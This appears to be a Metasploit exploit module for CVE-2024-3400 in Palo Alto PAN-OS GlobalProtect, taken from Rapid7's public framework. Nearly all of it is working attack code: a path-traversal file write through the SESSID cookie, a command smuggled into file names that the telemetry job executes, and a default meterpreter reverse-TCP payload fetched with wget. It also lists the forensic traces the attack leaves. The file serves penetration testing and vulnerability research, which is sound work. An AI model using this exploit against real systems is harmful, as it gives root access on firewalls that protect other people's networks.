##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Palo Alto Networks PAN-OS Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
          allow an unauthenticated attacker to create arbitrarily named files and execute
          shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
          GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
          include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
          < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
          one hour to execute, depending on how often the telemetry service is set to run.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'remmons-r7', # Metasploit module
          'sfewer-r7' # Metasploit module
        ],
        'References' => [
          ['CVE', '2024-3400'], # At the time of announcement, both vulnerabilities were assigned one CVE identifier
          ['URL', 'https://security.paloaltonetworks.com/CVE-2024-3400'], # Vendor Advisory
          ['URL', 'https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/'], # Initial Volexity report of the 0day exploitation
          ['URL', 'https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis'] # Rapid7 Analysis
        ],
        'DisclosureDate' => '2024-04-12',
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ARCH_CMD],
        'Privileged' => true, # Executes as root on Linux
        'Targets' => [ [ 'Default', {} ] ],
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
          'FETCH_COMMAND' => 'WGET',
          'RPORT' => 443,
          'SSL' => true,
          'FETCH_WRITABLE_DIR' => '/var/tmp',
          'WfsDelay' => 3600 # 1h, since telemetry service cronjob can take up to an hour
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            # The /var/log/pan/gpsvc.log file will log an unmarshal failure message for every malformed session created
            # The NGINX frontend web server, which proxies requests to the GlobalProtect service, will log client IPs in /var/log/nginx/sslvpn_access.log
            # Similarly, the log file /var/log/pan/sslvpn-access/sslvpn-access.log will also contain a log of the HTTP requests
            # The "device_telemetry_*.log" files in /var/log/pan will log the command being injected
            ARTIFACTS_ON_DISK
            # Several 0 length files are created in the following directories during checks and exploitation:
            # - /opt/panlogs/tmp/device_telemetry/hour/
            # - /opt/panlogs/tmp/device_telemetry/minute/
            # - /var/appweb/sslvpndocs/global-protect/portal/fonts/
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'An existing web application endpoint', '/global-protect/login.esp']),
      ]
    )
  end

  def check
    # Try to create a new empty file in an accessible directory with the exploit primitive
    # This file name was chosen because an extension in (css|js|eot|woff|woff2|ttf) is required for correct NGINX routing, and similarly named files already exist in the 'fonts' directory
    file_check_name = "glyphicons-#{Rex::Text.rand_text_alpha_lower(8)}-regular.woff2"
    touch_file("/var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name}")

    # Access that file and a file that doesn't exist to confirm they return 403 and 404, respectively
    res_check_created = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('global-protect', 'portal', 'fonts', file_check_name)
    )

    return CheckCode::Unknown('Connection failed') unless res_check_created

    res_check_not_created = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('global-protect', 'portal', 'fonts', "X#{file_check_name}")
    )

    return CheckCode::Unknown('Connection failed') unless res_check_not_created

    if (res_check_created.code != 403) || (res_check_not_created.code != 404)
      return CheckCode::Safe('Arbitrary file write did not succeed')
    end

    CheckCode::Vulnerable("Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/#{file_check_name} NOTE: This file will not be deleted")
  end

  def touch_file(file)
    # Exploit primitive similar to `touch`, creating an empty file owned by root in the specified location
    fail_with(Failure::BadConfig, 'Semicolon cannot be present in file name, due to the cookie injection context') if file.include? ';'

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'headers' => {
        'Cookie' => "SESSID=./../../../..#{file}"
      }
    )
  end

  def exploit
    # Encode the shell command payload as base64, then embed it in the appropriate exploitation context
    # Since payloads cannot contain spaces, ${IFS} is used as a separator
    cmd = "echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-"

    # Create maliciously named files in both telemetry directories that might be used by affected versions
    # Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.
    # It's possible that the payload will execute twice, but we've only observed one location working during testing
    files = [
      "/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`",
      "/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`"
    ]

    files.each do |file_path|
      vprint_status("Creating file at #{file_path}")
      touch_file(file_path)

      # Must register for clean up here instead of within touch_file, since touch_file is used in the check
      register_file_for_cleanup(file_path)
    end

    print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
    print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
  end
end
